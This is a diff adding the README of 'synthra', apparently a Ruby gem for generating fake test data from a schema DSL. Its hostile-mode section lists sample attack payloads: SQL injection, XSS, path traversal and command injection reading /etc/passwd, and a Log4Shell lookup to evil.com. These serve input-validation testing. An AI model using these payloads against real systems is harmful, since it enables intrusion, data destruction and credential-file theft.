synthra 0.1.0

data/README.md

@@ -0,0 +1,1458 @@
+# Synthra
+
+[![Gem Version](https://badge.fury.io/rb/synthra.svg)](https://badge.fury.io/rb/synthra)
+[![Build Status](https://github.com/talaatmagdyx/synthra/actions/workflows/ci.yml/badge.svg)](https://github.com/talaatmagdyx/synthra/actions)
+[![Test Coverage](https://img.shields.io/badge/coverage-98%25-brightgreen.svg)](https://github.com/talaatmagdyx/synthra)
+[![Ruby Style Guide](https://img.shields.io/badge/code_style-rubocop-brightgreen.svg)](https://github.com/rubocop/rubocop)
+[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
+
+**Synthra** is a powerful Ruby gem for generating realistic fake data using a human-friendly, indentation-based Domain Specific Language (DSL). It provides enterprise-grade features for testing, development, and data simulation.
+
+## ✨ Features
+
+- 🎯 **Intuitive DSL** - Define data schemas with a clean, YAML-like syntax
+- 🔄 **Deterministic Generation** - Seed-based reproducible output for consistent testing
+- 📦 **Rich Type System** - 50+ built-in types including UUID, dates, money, and more
+- 🔗 **Cross-Schema References** - Link schemas together with automatic resolution
+- 🧮 **Computed Fields** - Dynamic values based on other fields
+- 🎭 **Behavior Simulation** - Simulate latency, failures, and network conditions
+- 📊 **Generation Modes** - Random, edge-case, invalid, hostile (security testing), and mixed data generation
+- 🚀 **Streaming Support** - Memory-efficient batch generation for large datasets
+- ⚡ **Native Rust Engine** - 3-4M records/sec with configurable threads (default: 2)
+- 🛡️ **Resource Limits** - Configurable limits to prevent runaway generation
+- 📤 **Multi-Format Export** - Export to TypeScript, Python, JSON Schema, SQL, CSV, and more
+- 🌍 **Multi-Locale Support** - Generate data in English, French, German, Japanese, Chinese, and more
+- 🔍 **LSP Server** - Full IDE integration with go-to-definition, hover, completion, and diagnostics
+- 🧪 **Property-Based Testing** - RSpec integration for verifying properties across generated data
+- 🐛 **Enhanced REPL** - Visual inspection, step-through debugging, and table formatting
+- 🔐 **Security Fuzzing** - Hostile mode for security testing with SQL injection, XSS, and more
+- 🏭 **Factory Bot Integration** - Bridge to Factory Bot for seamless test data ⭐ NEW
+- 📸 **Snapshot Testing** - Detect unintended schema changes in CI ⭐ NEW
+- ⚖️ **Breaking Changes Diff** - CI-friendly schema version comparison ⭐ NEW
+- 📄 **Config File Support** - YAML configuration with environment support ⭐ NEW
+- 🧪 **Rails Test Helper** - `generate_for_test(Model)` integration ⭐ NEW
+- 🧩 **Schema Mixins** - Reusable field sets with `@mixin` ⭐ NEW
+- 🔗 **Data Relationships** - `belongs_to`, `has_one`, `has_many` support ⭐ NEW
+- 📊 **Schema Versioning** - `User@v2` with migration tracking ⭐ NEW
+- 📥 **OpenAPI Import** - Convert OpenAPI specs to DSL schemas ⭐ NEW
+- 🌱 **Database Seeder** - FK-aware database seeding ⭐ NEW
+- 🖥️ **Live Preview Server** - Web UI with hot reload ⭐ NEW
+- 📖 **Documentation Generator** - Beautiful HTML docs from schemas ⭐ NEW
+- 🔢 **Deterministic IDs** - Reproducible UUIDs, short IDs, slugs ⭐ NEW
+- 🚀 **Production API Server** - REST API for data generation 🔥 NEW
+- 📡 **gRPC/Protobuf Export** - Generate .proto files for microservices 🔥 NEW
+- 📋 **OpenAPI Generation** - Export schemas to OpenAPI 3.0 specs 🔥 NEW
+- 🎬 **Mock Server + Recording** - Record real API responses, replay as mocks 🔥 NEW
+- 📜 **Data Contracts Registry** - Version and publish schemas centrally 🔥 NEW
+- ⚡ **Performance Mode** - Generate millions of records with parallel processing 🔥 NEW
+- 🚂 **Rails Engine** - Zero-config Rails integration with auto-discovery 🚀 NEW
+- 🔍 **ActiveRecord Inference** - Generate schemas from your models 🚀 NEW
+- 📸 **Scenarios** - Complex test data fixtures with relationships 🚀 NEW
+- ⏰ **Time Travel** - Generate historical/time-series data 🚀 NEW
+- 🎭 **Personas** - Named data profiles (happy_path, edge_cases) 🚀 NEW
+- 📊 **Quality Metrics** - Analyze data realism and distribution 🚀 NEW
+- 🔗 **GraphQL Federation** - Apollo Federation v2 export 🚀 NEW
+- 🎬 **Webhook Simulation** - Test Stripe, GitHub webhooks 🚀 NEW
+- 🧬 **Migration Generator** - Generate Rails migrations from schemas 🚀 NEW
+- 🏗️ **Terraform Export** - Generate AWS/GCP infrastructure code 🚀 NEW
+- 🤖 **GitHub Action** - CI/CD integration for schema validation 🚀 NEW
+
+---
+
+## 📚 Documentation
+
+| Documentation | Description |
+|---------------|-------------|
+| [**Technical Docs**](tech_docs/README.md) | Complete technical documentation |
+| [**Examples**](tech_example/README.md) | Runnable code examples |
+| [**Type Reference**](tech_docs/appendices/type_chart.md) | Quick reference for all types |
+| [**API Reference**](tech_docs/api/overview.md) | Ruby API documentation |
+| [**CLI Guide**](tech_example/04_cli_usage.md) | Command-line interface guide |
+| [**Export Guide**](tech_docs/export/README.md) | Multi-format export documentation |
+| [**Schema Templates**](tech_docs/templates/README.md) | 12+ production-ready templates |
+| [**CI/CD Integration**](tech_docs/integration/ci_cd_guide.md) | GitHub, GitLab, Jenkins setup |
+| [**Performance Benchmarks**](benchmark/README.md) | Benchmarks and optimization tips |
+| [**Native Rust Engine**](docs/NATIVE_ENGINE.md) | 3-4M records/sec with fake-rs ⚡ |
+| [**LSP Server**](docs/LSP.md) | IDE integration with go-to-definition, hover, completion ⭐ NEW |
+| [**Property-Based Testing**](docs/PROPERTY_TESTING.md) | RSpec integration for property verification ⭐ NEW |
+| [**Enhanced REPL**](docs/ENHANCED_REPL.md) | Visual inspection and step-through debugging ⭐ NEW |
+| [**Security Testing**](docs/SECURITY_TESTING.md) | Hostile mode for security fuzzing ⭐ NEW |
+| [**Factory Bot Integration**](docs/FACTORY_BOT.md) | Bridge to Factory Bot for test data ⭐ NEW |
+| [**Snapshot Testing**](docs/SNAPSHOT_TESTING.md) | Detect schema changes in CI ⭐ NEW |
+| [**Config File Guide**](docs/CONFIG_FILE.md) | YAML configuration reference ⭐ NEW |
+| [**GraphQL Export**](docs/GRAPHQL_EXPORT.md) | GraphQL SDL export guide ⭐ NEW |
+| [**Production API Server**](docs/API_SERVER.md) | REST API for production use 🔥 NEW |
+| [**gRPC/Protobuf Export**](docs/PROTOBUF_EXPORT.md) | Generate .proto files 🔥 NEW |
+| [**OpenAPI Export**](docs/OPENAPI_EXPORT.md) | Export to OpenAPI 3.0 🔥 NEW |
+| [**Mock Server**](docs/MOCK_SERVER.md) | Record & replay mock responses 🔥 NEW |
+| [**Data Contracts**](docs/DATA_CONTRACTS.md) | Schema versioning registry 🔥 NEW |
+| [**Performance Mode**](docs/PERFORMANCE_MODE.md) | Generate millions of records 🔥 NEW |
+| [**Rails Engine**](docs/RAILS_ENGINE.md) | Zero-config Rails integration 🚀 NEW |
+| [**ActiveRecord Inference**](docs/ACTIVERECORD_INFERENCE.md) | Generate schemas from models 🚀 NEW |
+| [**Scenarios**](docs/SCENARIOS.md) | Complex test data fixtures 🚀 NEW |
+| [**Time Travel**](docs/TIME_TRAVEL.md) | Historical/time-series data 🚀 NEW |
+| [**Personas**](docs/PERSONAS.md) | Named data profiles 🚀 NEW |
+| [**Quality Metrics**](docs/QUALITY_METRICS.md) | Analyze generated data 🚀 NEW |
+| [**GraphQL Federation**](docs/GRAPHQL_FEDERATION.md) | Apollo Federation export 🚀 NEW |
+| [**Webhook Simulator**](docs/WEBHOOK_SIMULATOR.md) | Test webhooks 🚀 NEW |
+| [**Migration Generator**](docs/MIGRATION_GENERATOR.md) | Generate Rails migrations 🚀 NEW |
+| [**Terraform Export**](docs/TERRAFORM_EXPORT.md) | Infrastructure as Code 🚀 NEW |
+| [**GitHub Action**](docs/GITHUB_ACTION.md) | CI/CD integration 🚀 NEW |
+
+### Quick Links
+
+- [Installation Guide](tech_docs/installation.md)
+- [Quick Start](tech_docs/quick_start.md)
+- [DSL Syntax Reference](tech_docs/dsl/schema_definition.md)
+- [All Types](tech_docs/dsl/core_types.md)
+- [Behaviors](tech_docs/behaviors/overview.md)
+- [Generation Modes](tech_docs/modes/overview.md)
+- [Export Guide](tech_docs/export/README.md)
+- [Schema Templates](tech_docs/templates/README.md) ⭐ NEW
+- [CI/CD Integration](tech_docs/integration/ci_cd_guide.md) ⭐ NEW
+- [Benchmarks](benchmark/README.md) ⭐ NEW
+- [Native Rust Engine](docs/NATIVE_ENGINE.md) ⚡ 3-4M records/sec
+
+---
+
+## 📋 Table of Contents
+
+- [Installation](#-installation)
+- [Quick Start](#-quick-start)
+- [DSL Syntax](#-dsl-syntax)
+- [Built-in Types](#-built-in-types)
+- [Behaviors](#-behaviors)
+- [Generation Modes](#-generation-modes)
+- [Ruby API](#-ruby-api)
+- [Export Formats](#-export-formats)
+- [Native Rust Engine](#-native-rust-engine) ⚡ NEW
+- [CLI Usage](#-cli-usage)
+- [Configuration](#-configuration)
+- [Factory Bot Integration](#-factory-bot-integration) ⭐ NEW
+- [Snapshot Testing](#-snapshot-testing) ⭐ NEW
+- [Breaking Changes Diff](#-breaking-changes-diff) ⭐ NEW
+- [Production API Server](#-production-api-server) 🔥 NEW
+- [gRPC/Protobuf Export](#-grpcprotobuf-export) 🔥 NEW
+- [OpenAPI Export](#-openapi-export) 🔥 NEW
+- [Mock Server](#-mock-server) 🔥 NEW
+- [Data Contracts Registry](#-data-contracts-registry) 🔥 NEW
+- [Performance Mode](#-performance-mode) 🔥 NEW
+- [Examples](#-examples)
+- [Contributing](#-contributing)
+- [License](#-license)
+
+---
+
+## 📦 Installation
+
+### Requirements
+
+- Ruby 3.1.0 or higher
+
+### Via Bundler (Recommended)
+
+```ruby
+gem 'synthra'
+```
+
+Then run:
+
+```bash
+bundle install
+```
+
+### Via RubyGems
+
+```bash
+gem install synthra
+```
+
+📖 See [Installation Guide](tech_docs/installation.md) for detailed instructions.
+
+---
+
+## 🚀 Quick Start
+
+### 1. Define a Schema
+
+Create `schemas/user.dsl`:
+
+```
+User:
+  id: uuid(unique: true)
+  name: name
+  email: email
+  age: number(18..65)
+  active: boolean(true:80%)
+  role: enum(user, admin:10%, moderator:20%)
+  created_at: past_date(1y)
+```
+
+### 2. Generate Data in Ruby
+
+```ruby
+require 'synthra'
+
+# Load and generate
+schema = Synthra.load('schemas/user.dsl')
+user = schema.generate
+
+# Output:
+# {
+#   "id" => "550e8400-e29b-41d4-a716-446655440000",
+#   "name" => "John Smith",
+#   "email" => "john.smith@example.com",
+#   "age" => 34,
+#   "active" => true,
+#   "role" => "user",
+#   "created_at" => "2024-06-15"
+# }
+
+# Generate multiple records
+users = schema.generate_many(100)
+
+# Generate with seed for reproducibility
+user = schema.generate(seed: 12345)
+```
+
+### 3. Or Use the CLI
+
+```bash
+# Validate schema
+synthra validate schemas/user.dsl
+
+# Generate 10 users
+synthra generate User --dir schemas --count 10
+
+# Generate with pretty output
+synthra generate User --dir schemas --pretty
+```
+
+📖 See [Quick Start Guide](tech_docs/quick_start.md) for more details.
+
+---
+
+## 📝 DSL Syntax
+
+### Schema Definition
+
+```
+SchemaName:
+  field_name: type
+  field_name: type(arguments)
+  optional_field?: type        # May be omitted
+  nullable_field: type?        # May be null
+```
+
+### Field Modifiers
+
+```
+User:
+  id: uuid                     # Required field
+  phone?: phone                # Optional (may not appear)
+  nickname: text?              # Nullable (may be null)
+  bio?: text?                  # Optional AND nullable
+  tracking: text if status     # Conditional field
+```
+
+### Behaviors
+
+```
+APIResponse:
+  @latency 100..500ms          # Random delay
+  @failure 5%                  # 5% chance of error
+  @partial_data 10%            # 10% missing fields
+  
+  data: object
+```
+
+📖 See [DSL Reference](tech_docs/dsl/schema_definition.md) for complete syntax.
+
+---
+
+## 📦 Built-in Types
+
+### Identifiers
+`uuid`, `ulid`, `id_sequence`
+
+### Personal Data
+`name`, `first_name`, `last_name`, `email`, `phone`, `username`, `avatar`
+
+### Text
+`text`, `paragraph`, `sentence`, `word`
+
+### Numbers
+`number`, `integer`, `float`, `latitude`, `longitude`
+
+### Boolean & Enum
+`boolean`, `enum`
+
+### Date & Time
+`date`, `past_date`, `future_date`, `timestamp`, `now`
+
+### Location
+`address`, `city`, `country`, `country_code`, `postal_code`, `state`
+
+### Technology
+`url`, `domain`, `ip`, `ipv6`, `mac_address`, `user_agent`
+
+### Finance
+`money`, `currency`, `currency_code`, `iban`, `credit_card`
+
+### Complex
+`array`, `object`, `Ref()`, `custom`
+
+📖 See [Type Reference Chart](tech_docs/appendices/type_chart.md) for all 50+ types.
+
+---
+
+## 🎭 Behaviors
+
+Simulate real-world conditions:
+
+| Behavior | Description | Example |
+|----------|-------------|---------|
+| `@latency` | Adds delay | `@latency 100..500ms` |
+| `@failure` | Throws error | `@failure 5%` |
+| `@partial_data` | Missing fields | `@partial_data 10%` |
+| `@close_connection` | Connection drop | `@close_connection 2%` |
+| `@simulate_error` | HTTP error | `@simulate_error 500` |
+
+```ruby
+begin
+  data = schema.generate
+rescue Synthra::Errors::SimulatedFailure
+  puts "Service unavailable"
+rescue Synthra::Errors::SimulatedError => e
+  puts "HTTP #{e.status_code}"
+end
+```
+
+📖 See [Behaviors Guide](tech_docs/behaviors/overview.md) for details.
+
+---
+
+## 📊 Generation Modes
+
+| Mode | Purpose | Example |
+|------|---------|---------|
+| `:random` | Typical values (default) | `"John Smith"`, `34` |
+| `:edge` | Boundary values | `""`, `0`, `max_value` |
+| `:invalid` | Invalid data | `nil`, `"not_a_number"` |
+| `:hostile` | Security attack payloads | SQL injection, XSS, buffer overflow |
+| `:mixed` | Combination | 80% random, 15% edge, 5% invalid |
+
+```ruby
+schema.generate(mode: :random)   # Realistic data
+schema.generate(mode: :edge)     # Edge cases
+schema.generate(mode: :invalid)   # Invalid data
+schema.generate(mode: :hostile)   # Security testing
+schema.generate(mode: :mixed)    # Comprehensive testing
+```
+
+📖 See [Generation Modes](tech_docs/modes/overview.md) for details.
+
+---
+
+## 💎 Ruby API
+
+### Loading Schemas
+
+```ruby
+# From file
+schema = Synthra.load('schemas/user.dsl')
+
+# From string
+schema = Synthra.parse(<<~DSL)
+  User:
+    id: uuid
+    name: name
+DSL
+
+# Multiple schemas
+registry = Synthra::Registry.new
+registry.load_dir('schemas/')
+user_schema = registry.schema('User')
+```
+
+### Generating Data
+
+```ruby
+# Single record
+data = schema.generate
+
+# With options
+data = schema.generate(
+  seed: 12345,           # Reproducibility
+  mode: :edge,           # Generation mode
+  registry: registry     # For cross-references
+)
+
+# Multiple records
+records = schema.generate_many(100)
+
+# Streaming (memory-efficient)
+schema.generate_stream(count: 1_000_000).each do |record|
+  process(record)
+end
+```
+
+### Custom Types
+
+```ruby
+Synthra.register_type(:ssn) do |rng, context, args, mode|
+  "#{rng.int(100, 999)}-#{rng.int(10, 99)}-#{rng.int(1000, 9999)}"
+end
+```
+
+### Custom Functions
+
+```ruby
+Synthra.register_function(:full_name) do |context|
+  "#{context['first_name']} #{context['last_name']}"
+end
+```
+
+📖 See [API Reference](tech_docs/api/overview.md) for complete documentation.
+
+---
+
+## 📤 Export Formats
+
+Synthra supports exporting schemas and generated data to multiple formats.
+
+### Schema Exports (Types/Structure)
+
+| Format | Extension | Description |
+|--------|-----------|-------------|
+| `json-schema` | `.schema.json` | JSON Schema (draft 2020-12) |
+| `typescript` / `ts` | `.ts` | TypeScript interfaces |
+| `javascript` / `js` | `.js` | JavaScript with JSDoc |
+| `python` / `pydantic` | `.py` | Python Pydantic models |
+| `dataclass` | `.py` | Python dataclasses |
+| `sql` / `sql-ddl` | `.sql` | SQL CREATE TABLE |
+| `graphviz` / `dot` | `.dot` | GraphViz diagram |
+| `graphql` / `gql` | `.graphql` | GraphQL SDL ⭐ NEW |
+
+### Data Exports (Generated Records)
+
+| Format | Extension | Description |
+|--------|-----------|-------------|
+| `json` | `.json` | JSON array of records |
+| `csv` | `.csv` | CSV with headers |
+| `sql-insert` | `.sql` | SQL INSERT statements |
+| `yaml` | `.yaml` | YAML format |
+| `xml` | `.xml` | XML format |
+
+### Ruby API
+
+```ruby
+# Schema exports
+Synthra.to_typescript(schema)
+Synthra.to_python(schema, style: :pydantic)
+Synthra.to_json_schema(schema)
+Synthra.to_sql(schema, dialect: :postgresql)
+Synthra.to_graphql(schema)  # NEW: GraphQL SDL
+
+# Data exports
+Synthra.to_json(schema, count: 100)
+Synthra.to_csv(schema, count: 1000)
+Synthra.to_sql_insert(schema, count: 100, dialect: :mysql)
+Synthra.to_yaml(schema, count: 50)
+Synthra.to_xml(schema, count: 20)
+
+# Auto-file export
+Synthra.export_to_file(:typescript, schema, output_dir: "./types")
+# => "./types/user.ts"
+```
+
+### CLI Export Commands
+
+```bash
+# Schema exports
+synthra export User -d schemas -f typescript -o user.ts
+synthra export User -d schemas -f python --style pydantic
+synthra export User -d schemas -f json-schema
+synthra export --all -d schemas -f typescript -o types.ts
+
+# Data exports
+synthra export User -d schemas -f json -c 100 -o users.json
+synthra export User -d schemas -f csv -c 1000 -o users.csv
+synthra export User -d schemas -f sql-insert -c 100 --dialect postgresql
+synthra export User -d schemas -f yaml -c 50 -o users.yaml
+
+# Auto-generate files
+synthra export User -d schemas -f typescript --out-dir ./generated
+synthra export User -d schemas -f python --out-dir ./models
+```
+
+📖 See [Export Guide](tech_docs/export/README.md) for complete documentation.
+
+---
+
+## ⚡ Native Rust Engine
+
+For **maximum performance** (3-4 million records/sec), use the Native Rust Engine:
+
+### Quick Start
+
+```ruby
+# Install and compile (one-time setup)
+# 1. Install Rust: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
+# 2. gem install rb_sys
+# 3. bundle exec rake compile
+
+# Generate 10 million records in ~3 seconds
+schema.generate_to_file(10_000_000, "users.jsonl")
+
+# Or use engine: :native option
+users = schema.generate_many(100_000, engine: :native, seed: 42)
+```
+
+### Thread Control
+
+By default, uses **2 threads** to leave resources for other work:
+
+```ruby
+# Default (2 threads)
+schema.generate_to_file(10_000_000, "users.jsonl")
+
+# Use 4 threads
+schema.generate_to_file(10_000_000, "users.jsonl", threads: 4)
+
+# Use all cores (fastest for single job)
+schema.generate_to_file(10_000_000, "users.jsonl", threads: 0)
+```
+
+### Multi-Locale Support
+
+```ruby
+# English (fast mode)
+schema.generate_to_file(1_000_000, "users.jsonl", locale: "en")
+
+# Japanese names
+schema.generate_to_file(1_000_000, "users.jsonl", locale: "ja_jp")
+
+# French names
+schema.generate_to_file(1_000_000, "users.jsonl", locale: "fr_fr")
+```
+
+### Performance
+
+| Records | Time | Rate |
+|---------|------|------|
+| 1M | 0.3s | ~3.5M/sec |
+| 10M | 2.7s | ~3.7M/sec |
+| Ruby (compare) | ~10 min | ~17K/sec |
+
+📖 See [Native Engine Guide](docs/NATIVE_ENGINE.md) for complete documentation.
+
+---
+
+## 🖥️ CLI Usage
+
+```bash
+# Validate schema
+synthra validate schemas/user.dsl
+
+# Lint with strict mode (for CI)
+synthra lint schemas/ --strict
+
+# Preview single record
+synthra preview User --dir schemas
+
+# Generate data
+synthra generate User --dir schemas --count 10
+
+# With options
+synthra generate User -d schemas -c 100 --seed 12345 --mode edge
+
+# Output formats
+synthra generate User -d schemas --pretty      # Pretty JSON
+synthra generate User -d schemas --ndjson      # NDJSON
+
+# Schema exports
+synthra export User -d schemas -f json-schema
+synthra export User -d schemas -f typescript -o user.ts
+synthra export User -d schemas -f python --style pydantic
+synthra export --all -d schemas -f typescript -o types.ts
+
+# Data exports  
+synthra export User -d schemas -f json -c 100
+synthra export User -d schemas -f csv -c 1000 -o users.csv
+synthra export User -d schemas -f sql-insert -c 100 --dialect mysql
+
+# Auto-generate files to directory
+synthra export User -d schemas -f typescript --out-dir ./generated
+
+# Visualize schema relationships
+synthra graph schemas/ --output schema.dot --render
+
+# Watch for changes (hot reload)
+synthra watch schemas/
+
+# Interactive REPL
+synthra repl
+
+# LSP Server (for IDE integration)
+synthra lsp
+
+# Schema info
+synthra info schemas/ --verbose
+
+# Compare schema versions
+synthra diff schemas/v1/ schemas/v2/
+
+# Check for breaking changes only (CI mode)
+synthra diff schemas/v1/ schemas/v2/ --breaking-only
+
+# Export to GraphQL (NEW)
+synthra export User -d schemas -f graphql -o schema.graphql
+synthra export --all -d schemas -f graphql -o schema.graphql
+```
+
+📖 See [CLI Guide](tech_example/04_cli_usage.md) for all options.
+
+---
+
+## 🔍 LSP Server (Language Server Protocol)
+
+Synthra includes a full LSP server for IDE integration, providing:
+
+- **Go to Definition** - Jump to schema definitions from `Ref(User.id)` references
+- **Real-time Diagnostics** - See errors as you type with line/column numbers
+- **Auto-completion** - Suggestions for types, behaviors, and schemas
+- **Hover Documentation** - See type and behavior documentation on hover
+
+### Setup
+
+1. **Start the LSP server:**
+   ```bash
+   synthra lsp
+   ```
+
+2. **Configure your IDE** to connect to the LSP server (VS Code, Cursor, Neovim, etc.)
+
+### Features
+
+- Works with any LSP-compatible editor
+- Reuses existing parser and validator (no duplication)
+- Provides diagnostics, completion, hover, and definition lookup
+- Supports multi-file workspace schemas
+
+📖 See [LSP Integration Guide](docs/LSP.md) for detailed setup instructions.
+
+---
+
+## 🧪 Property-Based Testing
+
+Synthra integrates seamlessly with RSpec for property-based testing:
+
+```ruby
+require 'synthra'
+include Synthra::PropertyTesting
+
+RSpec.describe "User Registration" do
+  it "accepts all valid users" do
+    verify_property("User", count: 1000) do |user_data|
+      user = User.create(user_data)
+      expect(user).to be_valid
+      expect(user.save).to be_truthy
+    end
+  end
+
+  it "validates email format" do
+    verify_property("User", count: 100) do |user_data|
+      email = user_data["email"]
+      expect(email).to match(/\A[\w+\-.]+@[a-z\d\-]+(\.[a-z\d\-]+)*\.[a-z]+\z/i)
+    end
+  end
+end
+```
+
+### Features
+
+- `verify_property` - Verify properties hold for generated data
+- `verify_property_stream` - Memory-efficient streaming verification
+- `shrink_counterexample` - Shrink failing cases to minimal counterexamples
+- Automatic RSpec integration when available
+
+📖 See [Property-Based Testing Guide](docs/PROPERTY_TESTING.md) for examples.
+
+---
+
+## 🐛 Enhanced REPL
+
+The interactive REPL now includes visual inspection and debugging:
+
+```bash
+synthra repl
+
+# In REPL:
+> load schemas/
+✅ Loaded 3 schema(s)
+
+> table User          # Table view
+  ────────────────────┼───────────────────────────────
+  id                  │ "550e8400-e29b-41d4-a716-..."
+  name                │ "John Doe"
+  email               │ "john.doe@example.com"
+
+> debug User          # Step-through debugging
+🐛 Debug Mode: Generating User
+Press Enter to continue after each field...
+
+[Field 1] id
+────────────────────────────────────────────────────────
+Value: "550e8400-e29b-41d4-a716-446655440000"
+
+Context State:
+  Depth: 0
+  Registry: available
+  Generated Fields:
+    (none yet)
+
+Press Enter to continue, 'q' to quit, 'c' to continue: 
+
+> inspect User        # Detailed inspection
+📊 Generated Record:
+============================================================
+  ────────────────────┼───────────────────────────────
+  id                  │ "550e8400-e29b-41d4-a716-..."
+  ...
+📋 JSON Format:
+{ "id": "...", ... }
+📏 Statistics:
+  Fields: 5
+  Total size: 234 bytes
+```
+
+### Commands
+
+- `table <Schema>` - Display records in formatted table view
+- `debug <Schema>` - Step-through debugging with context inspection
+- `inspect <Schema>` - Detailed inspection with table + JSON + statistics
+- `gen <Schema>` - Generate records (JSON format)
+- `load <path>` - Load schemas from file/directory
+- `list` - List loaded schemas
+- `info <Schema>` - Show schema details
+
+---
+
+## 🔐 Security Fuzzing (Hostile Mode)
+
+Generate security attack payloads for testing API endpoints:
+
+```ruby
+# Generate hostile data
+schema.generate(mode: :hostile)
+
+# CLI
+synthra generate User --mode hostile
+```
+
+### Attack Vectors
+
+- **SQL Injection** - `' OR '1'='1`, `'; DROP TABLE users;--`
+- **XSS** - `<script>alert(1)</script>`, `<img src=x onerror=alert(1)>`
+- **Buffer Overflow** - 1KB, 10KB, 100KB, 64KB strings
+- **Unicode Attacks** - RTL override, Zalgo text, null bytes
+- **Path Traversal** - `../../../etc/passwd`
+- **Command Injection** - `; ls -la`, `| cat /etc/passwd`
+- **LDAP Injection** - `*)(uid=*))(|(uid=*`
+- **XXE Injection** - XML external entity attacks
+- **Log4Shell** - `${jndi:ldap://evil.com/a}`
+
+### Use Case
+
+Perfect for security testing of API endpoints that consume generated data:
+
+```ruby
+# Test API endpoint with hostile inputs
+hostile_data = schema.generate_many(1000, mode: :hostile)
+hostile_data.each do |payload|
+  response = post("/api/users", payload)
+  expect(response.status).to eq(400) # Should reject hostile input
+end
+```
+
+📖 See [Security Testing Guide](docs/SECURITY_TESTING.md) for examples.
+
+---
+
+## 🏭 Factory Bot Integration
+
+Bridge between Synthra and Factory Bot for seamless test data:
+
+```ruby
+# Define a factory using a Synthra schema
+Synthra.define_factory(:user, schema: "User") do
+  trait(:admin) do
+    role { "admin" }
+  end
+
+  trait(:with_address) do
+    address { Synthra.generate("Address") }
+  end
+end
+
+# Use in tests
+create(:user)                         # Standard user
+create(:user, :admin)                 # Admin user
+create(:user, :admin, :with_address)  # Admin with address
+create(:user, name: "Custom Name")    # Override fields
+```
+
+### RSpec Helpers
+
+```ruby
+# In spec_helper.rb
+RSpec.configure do |config|
+  config.include Synthra::FactoryBotIntegration::RSpec
+end
+
+# In tests
+describe "User Registration" do
+  it "creates a valid user" do
+    user_data = fake_data_build(:user)
+    # or: user_data = build_fake_data(:user)
+    
+    expect(User.create(user_data)).to be_valid
+  end
+end
+```
+
+📖 See [Factory Bot Integration Guide](docs/FACTORY_BOT.md) for more examples.
+
+---
+
+## 📸 Snapshot Testing
+
+Detect unintended schema changes with snapshot testing:
+
+```ruby
+require 'synthra/snapshot_testing'
+
+RSpec.describe "Schema Snapshots" do
+  include Synthra::SnapshotTesting
+
+  # Test individual schema
+  it "User generates stable output" do
+    schema = Synthra.load("schemas/user.dsl")
+    expect_snapshot(schema, seed: 42)
+  end
+
+  # Test all schemas
+  Synthra.each_schema do |schema|
+    it "#{schema.name} generates stable output" do
+      expect(schema.generate(seed: 42)).to match_snapshot(schema.name)
+    end
+  end
+end
+```
+
+### Generate/Verify All Snapshots
+
+```ruby
+# Generate all snapshots
+Synthra::SnapshotTesting.generate_all_snapshots(registry, seed: 42)
+
+# Verify all snapshots match
+mismatches = Synthra::SnapshotTesting.verify_all_snapshots(registry, seed: 42)
+puts "Mismatched schemas: #{mismatches}" if mismatches.any?
+```
+
+📖 See [Snapshot Testing Guide](docs/SNAPSHOT_TESTING.md) for CI integration.
+
+---
+
+## ⚖️ Breaking Changes Diff
+
+Detect breaking schema changes in CI pipelines:
+
+```bash
+# Compare two schema directories
+synthra diff schemas/v1/ schemas/v2/
+
+# Show only breaking changes (CI mode)
+synthra diff schemas/v1/ schemas/v2/ --breaking-only
+
+# Exit codes:
+# 0 = No breaking changes
+# 1 = Breaking changes detected (fails CI)
+```
+
+### What's Detected as Breaking
+
+| Change | Breaking? | Description |
+|--------|-----------|-------------|
+| Schema removed | ✅ Yes | Schema no longer exists |
+| Field removed | ✅ Yes | Field was deleted |
+| Type changed | ✅ Yes | `number` → `text` |
+| Optional → Required | ✅ Yes | Field now mandatory |
+| Field added | ❌ No | Backwards compatible |
+| Required → Optional | ❌ No | Backwards compatible |
+
+### CI Integration Example
+
+```yaml
+# .github/workflows/schema-check.yml
+- name: Check for breaking changes
+  run: |
+    synthra diff schemas/main/ schemas/pr/ --breaking-only
+```
+
+---
+
+## 📄 Configuration File
+
+Configure Synthra with YAML config files (Rails convention):
+
+### File Locations (searched in order)
+
+1. `config/synthra.yml`
+2. `synthra.yml`
+3. `.synthra.yml`
+
+### Example Configuration
+
+```yaml
+# config/synthra.yml
+default_mode: random
+max_unique_retries: 1000
+
+limits:
+  max_array_size: 100
+  max_recursion: 5
+  max_text_length: 10000
+
+# Environment-specific overrides
+test:
+  default_mode: edge    # Use edge cases in tests
+
+development:
+  default_mode: random
+
+production:
+  fast_mode: true       # Use faster generation
+```
+
+### Manual Loading
+
+```ruby
+# Load from custom path
+Synthra::ConfigFile.load_and_apply("custom/path.yml")
+
+# Load with specific environment
+Synthra::ConfigFile.load_and_apply("config.yml", env: "staging")
+```
+
+📖 See [Config File Guide](docs/CONFIG_FILE.md) for all options.
+
+---
+
+## 🧪 Rails Test Helper
+
+Seamless Rails test integration with `generate_for_test`:
+
+```ruby
+# test/test_helper.rb
+require 'synthra/rails_test_helper'
+
+class ActiveSupport::TestCase
+  include Synthra::RailsTestHelper
+end
+
+# In your tests
+class UserTest < ActiveSupport::TestCase
+  test "validates email format" do
+    user = generate_for_test(User)
+    assert user.valid?
+  end
+  
+  test "with overrides" do
+    user = generate_for_test(User, :valid, email: "test@example.com")
+    assert_equal "test@example.com", user.email
+  end
+  
+  test "generate multiple" do
+    users = generate_many_for_test(User, 10)
+    assert_equal 10, users.length
+  end
+end
+```
+
+---
+
+## 🧩 Schema Mixins
+
+Reusable field sets with pre-built common patterns:
+
+```ruby
+# Pre-registered mixins
+Synthra::CommonMixins.register_all!
+
+# Available mixins:
+# - Timestamps: created_at, updated_at
+# - SoftDelete: deleted_at
+# - Auditable: created_by, updated_by
+# - Sluggable: slug
+# - Publishable: published_at, published
+```
+
+---
+
+## 📥 OpenAPI Import
+
+Convert OpenAPI/Swagger specs to DSL schemas:
+
+```bash
+# Import from OpenAPI
+synthra import openapi.yaml --output schemas/
+
+# Also supports JSON
+synthra import api-spec.json --output schemas/
+```
+
+```ruby
+# Ruby API
+importer = Synthra::OpenAPIImporter.new("openapi.yaml")
+schemas = importer.import_to_directory("schemas/")
+# Creates user.dsl, product.dsl, etc.
+```
+
+---
+
+## 🖥️ Live Preview Server
+
+Web UI with hot reload for interactive development:
+
+```bash
+# Start live preview server
+synthra live schemas/ --port 4567
+
+# Opens http://localhost:4567 with:
+# - Schema list sidebar
+# - Generation mode selector (random/edge/invalid/hostile)
+# - Count and seed controls
+# - Real-time JSON preview
+# - Hot reload on schema changes
+```
+
+---
+
+## 📖 Documentation Generator
+
+Generate beautiful HTML documentation:
+
